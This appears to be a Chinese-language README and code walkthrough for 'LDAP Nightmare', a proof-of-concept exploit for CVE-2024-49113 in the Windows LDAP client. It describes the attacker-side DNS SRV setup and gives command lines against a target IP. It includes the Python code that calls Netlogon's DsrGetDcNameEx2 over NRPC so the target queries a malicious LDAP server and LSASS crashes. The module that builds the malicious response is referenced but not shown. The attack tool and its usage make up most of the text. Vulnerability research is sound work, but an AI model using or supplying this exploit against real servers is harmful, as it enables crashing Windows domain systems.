LDAP Nightmare:CVE-2024-49113 漏洞利用工具

0 阅读4分钟

LDAP Nightmare

LDAP Nightmare 是一个针对 CVE-2024-49113 高危漏洞的概念验证(PoC)利用工具。该漏洞存在于 Windows 轻量级目录访问协议(LDAP)客户端中,根据微软公告,可导致远程代码执行。本工具通过 Netlogon 远程协议(NRPC)与 LDAP 客户端交互,触发漏洞导致目标 Windows Server 系统崩溃。

本工具由 SafeBreach Labs 开发,于 2025 年 1 月 1 日发布。完整技术分析请参阅 官方博客文章

功能特性

  • 远程利用:通过网络向目标 Windows Server 发送特制请求触发漏洞
  • NRPC 协议交互:利用 DsrGetDcNameEx2 RPC 函数调用 Netlogon 服务
  • 异步 LDAP 服务器:内置恶意 LDAP 服务器响应查询,触发漏洞
  • 可配置参数:支持自定义目标 IP、端口、域名、账户名等关键参数
  • 自动化利用流程:自动启动服务端并发送攻击载荷,一键触发漏洞

安装指南

系统要求

  • Python 3.6 或更高版本
  • 管理员/root 权限(使用默认 389 端口时需要)

依赖安装

使用 pip 安装所需依赖:

pip install -r requirements.txt

主要依赖包括:

  • impacket:用于 NRPC 协议通信
  • asyncio:异步 LDAP 服务器实现

攻击者环境配置

  1. DNS SRV 记录配置:攻击者需拥有一个可控域名,并为其配置两条 DNS SRV 记录:

    • _ldap._tcp.dc._msdcs.<domain_name><listen_port> <attacker_hostname>
    • _ldap._tcp.default-first-site-name._sites.dc._msdcs.<domain_name><listen_port> <attacker_hostname>
  2. 主机名解析:确保受害服务器能通过 NBNS 或 DNS 解析攻击者机器的主机名到攻击者 IP

使用说明

基础用法

python LdapNightmare.py <target_ip> --domain-name <domain_name> [选项]

参数说明

参数说明默认值
target_ip目标服务器 IP 地址(必填)-
-p, --portRPC 通信 TCP 端口49664
-l, --listen-port恶意服务器监听 UDP 端口389
-d, --domain-name攻击者可控域名(必填)-
-a, --account账户名参数Administrator
-s, --site-name站点名参数空字符串

使用示例

# 基本利用
python LdapNightmare.py 192.168.1.100 --domain-name attacker.com

# 指定自定义端口和账户
python LdapNightmare.py 192.168.1.100 -d evil.com -p 49664 -l 389 -a Admin

预期输出

成功触发漏洞后,目标服务器 LSASS 进程将崩溃,Netlogon 连接被重置,工具输出如下:

[LDAP Nightmare:INFO] - Waiting for udp server to start...
[LDAP Nightmare:INFO] - Calling DsrGetDcNameEx2 now...
[LDAP Nightmare:INFO] - Connected to 192.168.1.100:49664
[LDAP Nightmare:INFO] - Sending DsrGetDcNameEx2 request...
[LDAP Nightmare:INFO] - Successfully triggered the vulnerability!

工作原理

  1. 启动恶意 LDAP 服务器:在后台线程中启动异步 UDP 服务器监听指定端口
  2. 调用 DsrGetDcNameEx2:通过 NRPC 向目标发送特制 RPC 请求,促使受害服务器向攻击者发送 LDAP 查询
  3. 触发漏洞:恶意服务器返回精心构造的响应,触发 CVE-2024-49113 漏洞,导致目标服务器崩溃

核心代码

主利用逻辑

# LdapNightmare.py - 主程序入口
import time
import asyncio
import argparse
import threading

from logger import logger
from rpc_call import DsrGetDcNameEx2
from exploit_server import run_exploit_server

def start_ldap_server(listen_port: int):
    """在后台线程中运行异步LDAP服务器"""
    asyncio.run(run_exploit_server(listen_port))

def main():
    parser = argparse.ArgumentParser(description="Call NRPC DsrGetDcNameEx2 via Impacket")
    parser.add_argument("target_ip", help="目标IP地址")
    parser.add_argument("--port", "-p", type=int, default=49664, help="RPC TCP端口")
    parser.add_argument("--listen-port", "-l", type=int, default=389, help="恶意服务器UDP监听端口")
    parser.add_argument("--domain-name", "-d", required=True, help="DomainName参数")
    parser.add_argument("--account", "-a", default="Administrator", help="AccountName参数")
    parser.add_argument("--site-name", "-s", default="", help="SiteName参数")

    args = parser.parse_args()

    # 启动恶意服务器后台线程
    server_thread = threading.Thread(target=start_ldap_server, daemon=True, args=(args.listen_port,))
    server_thread.start()

    logger.info("等待UDP服务器启动...")
    time.sleep(2)  

    # 调用RPC函数触发漏洞
    logger.info("正在调用 DsrGetDcNameEx2...")
    try:
        DsrGetDcNameEx2(
            target_ip=args.target_ip,
            port=args.port,
            account=args.account,
            site_name=args.site_name,
            domain_name=args.domain_name
        )
        logger.error("未能触发漏洞!")
    except ConnectionResetError:
        # Netlogon运行在lsass.exe进程中,漏洞触发后连接会被重置
        logger.info("成功触发漏洞!")

NRPC RPC 调用实现

# rpc_call.py - DsrGetDcNameEx2 RPC调用封装
from logger import logger
from impacket.dcerpc.v5 import nrpc
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory

NULL = '\x00'

def DsrGetDcNameEx2(target_ip: str, port: int, account: str, site_name: str, domain_name: str):
    """通过NRPC调用DsrGetDcNameEx2函数触发LDAP查询"""
    
    # 构建ncacn_ip_tcp传输层
    rpctransport = DCERPCTransportFactory(f'ncacn_ip_tcp:{target_ip}[{port}]')
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    logger.info(f"已连接到 {target_ip}:{port}")
    
    try:
        dce.bind(nrpc.MSRPC_UUID_NRPC)
    except DCERPCException:
        logger.error("绑定NRPC接口失败!")
        logger.info("目标可能未运行netlogon服务")
        raise

    # 构造请求结构
    request = nrpc.DsrGetDcNameEx2()
    request['ComputerName']                = NULL
    request['AccountName']                 = account + NULL
    request['AllowableAccountControlBits'] = 1 << 9  # 设置允许账户控制位
    request['DomainName']                  = domain_name + NULL
    request['DomainGuid']                  = NULL
    request['SiteName']                    = site_name + NULL
    request['Flags']                       = 0

    logger.info("发送 DsrGetDcNameEx2 请求...")
    resp = dce.request(request)
    resp.dump()
    dce.disconnect()

日志系统配置

# logger.py - 统一日志格式
import logging

# 定义带前缀的自定义格式
custom_format = '[LDAP Nightmare:%(levelname)s] - %(message)s'

# 创建日志器
logger = logging.getLogger('my_logger')
logger.setLevel(logging.INFO)

# 控制台处理器
console_handler = logging.StreamHandler()

# 设置格式化器
formatter = logging.Formatter(custom_format)
console_handler.setFormatter(formatter)

# 添加处理器
logger.addHandler(console_handler)

参考文献